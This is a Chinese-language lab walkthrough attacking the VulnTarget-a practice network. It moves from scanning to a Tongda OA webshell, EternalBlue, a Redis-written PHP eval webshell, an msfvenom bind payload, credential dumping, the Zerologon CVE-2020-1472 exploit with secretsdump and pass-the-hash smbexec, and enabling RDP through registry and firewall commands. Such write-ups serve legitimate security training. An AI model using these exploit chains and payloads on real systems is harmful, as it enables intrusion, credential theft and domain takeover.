VulnTarget-a 靶场渗透测试
2022-03-11 00:55:32 # 内网渗透

一、靶机信息

网络拓扑图

image-20220224172048057

攻击机:kali-192.168.12.128

win7:账号:win7;密码:admin

win-2016:账号:Administrator;密码:Admin@123

win-2019:账号:administrator;密码:Admin@666

靶场下载地址

1
链接: https://pan.baidu.com/s/195iUmvbaKOhtn2S_O-F6TA 提取码: jnkq

二、信息收集

nmap扫描一下端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
nmap -sS -A 192.168.12.136 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 03:20 EST
Nmap scan report for 192.168.12.136
Host is up (0.00077s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: \xCD\xA8\xB4\xEFOA\xCD\xF8\xC2\xE7\xD6\xC7\xC4\xDC\xB0\xEC\xB9\xAB\xCF\xB5\xCD\xB3
| http-robots.txt: 1 disallowed entry
|_/
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
MAC Address: 00:0C:29:B6:97:9F (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|2008|7
OS CPE: cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_7
OS details: Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7
Network Distance: 1 hop
Service Info: Host: WIN7-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: win7-PC
| NetBIOS computer name: WIN7-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-02-24T16:20:29+08:00
|_clock-skew: mean: -2h40m00s, deviation: 4h37m07s, median: 0s
|_nbstat: NetBIOS name: WIN7-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:b6:97:9f (VMware)
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2022-02-24T08:20:29
|_ start_date: 2022-02-24T07:19:44

TRACEROUTE
HOP RTT ADDRESS
1 0.77 ms 192.168.12.136

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.05 seconds

根据扫描的结果,得知win7开启了SMB服务,可能存在ms1-7010,用nmap进行漏洞扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
nmap --script=vuln 192.168.12.136 -p 445,139,135 -T4 -v 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 03:46 EST
NSE: Loaded 105 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 03:46
Completed NSE at 03:46, 10.00s elapsed
Initiating NSE at 03:46
Completed NSE at 03:46, 0.00s elapsed
Initiating ARP Ping Scan at 03:46
Scanning 192.168.12.136 [1 port]
Completed ARP Ping Scan at 03:46, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 03:46
Completed Parallel DNS resolution of 1 host. at 03:46, 0.01s elapsed
Initiating SYN Stealth Scan at 03:46
Scanning 192.168.12.136 [3 ports]
Discovered open port 139/tcp on 192.168.12.136
Discovered open port 445/tcp on 192.168.12.136
Discovered open port 135/tcp on 192.168.12.136
Completed SYN Stealth Scan at 03:46, 1.14s elapsed (3 total ports)
NSE: Script scanning 192.168.12.136.
Initiating NSE at 03:46
Completed NSE at 03:46, 14.99s elapsed
Initiating NSE at 03:46
Completed NSE at 03:46, 0.00s elapsed
Nmap scan report for 192.168.12.136
Host is up (0.00062s latency).

PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:B6:97:9F (VMware)

Host script results:
|_smb-vuln-ms10-054: false
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

NSE: Script Post-scanning.
Initiating NSE at 03:46
Completed NSE at 03:46, 0.00s elapsed
Initiating NSE at 03:46
Completed NSE at 03:46, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.91 seconds
Raw packets sent: 6 (248B) | Rcvd: 4 (160B)

扫出存在ms17-010,且80端口开启了http服务

三、通达OA-Getshell

访问80端口,是一个通达OA系统

image-20220224180348215

直接上通达OA综合利用工具

image-20220224180450014

上传webshell,后使用蚁剑相连

image-20220224190238677

四、ms17-010

使用exploit/windows/smb/ms17_010_eternalblue,设置好ip

image-20220225110354133

获取密码

image-20220225110622088

发现内网网段

image-20220225110726376

进程迁移 run post/windows/manage/migrate

image-20220225111357560

添加路由 run post/multi/manage/autoroute

image-20220225111702604

扫描另一个网段

1
2
3
4
5
6
7
8
msf6 exploit(windows/smb/ms17_010_eternalblue) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set ports 22,23,80,443,8080,8081,3389,445,143,6379
ports => 22,23,80,443,8080,8081,3389,445,143,6379
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 10.0.20.0/24
rhosts => 10.0.20.0/24
msf6 auxiliary(scanner/portscan/tcp) > set threads 20
threads => 20
msf6 auxiliary(scanner/portscan/tcp) > run

image-20220225112650988

设置代理 use auxiliary/server/socks_proxy

image-20220225114131843

扫描目录发现phpinfo.php,访问得到网站的绝对路径 C:/phpStudy/PHPTutorial/WWW

image-20220225132300461

五、Redis未授权

根据前面端口扫描的结果,发现10.0.20.99开放6379端口,为redis服务,连接redis服务端

image-20220225132359703

前面知道了web的绝对路径,就可以尝试写webshell

1
2
3
4
5
6
7
10.0.20.99:6379> config set dir "C:/phpStudy/PHPTutorial/WWW/"
OK
10.0.20.99:6379> config set dbfilename shell.php
OK
10.0.20.99:6379> set 1 "<?php @eval($_POST['xt']);?>"
OK
10.0.20.99:6379> save

image-20220225132546411

成功写入

image-20220225132628431

配置蚁剑的代理

image-20220225132918931

连接webshell

image-20220225132955428

发现另一个内网IP10.0.10.111

image-20220225133311482

上线msf

1
msfvenom -p windows/x64/meterpreter/bind_tcp  LPORT=8090 -f exe > bind_8090.exe

image-20220225141444539

通过蚂剑上传exe

image-20220225145546791

msf设置监听

image-20220225145656812

关闭防火墙

image-20220225145724001

运行exe,可以看到上线msf成功

image-20220225145805449

加载kiwi,进行进程迁移

image-20220225145924483

查看HTLM

image-20220225150027261

image-20220225150132278

破解密码,得知win2016的密码为Admin@123

image-20220225150258263

查看域控制器计算机名

image-20220225150516700

查看域管理员

image-20220225150543586

得到域控制器的IP为10.0.10.110

image-20220225150617712

添加路由 run post/multi/manage/autoroute

image-20220225150721108

六、CVE-2020-1472提权

因为拿到的是域普通用户的权限,直接上1472

1
proxychains4 python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110

image-20220225152833403

此时密码已置空

1
proxychains4 python secretsdump.py  vulntarget.com/WIN2019\$@10.0.10.110  -just-dc -no-pass

image-20220225152849412

1
proxychains4 python smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 administrator@10.0.10.110

成功访问域控

image-20220225153424916

破解hash

1
2
john --wordlist=/usr/share/nmap/nselib/data/passwords.lst hash.txt --format=NT

image-20220225154241357

开启远程桌面

1
2
3
4
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

image-20220225154444872

上线msf,先关闭防火墙策略

1
netsh advfirewall firewall add rule name="bind tcp" protocol=TCP dir=in localport=8090 action=allow

image-20220225155030184

运行exe,上线成功

image-20220225155107107

image-20220225155139347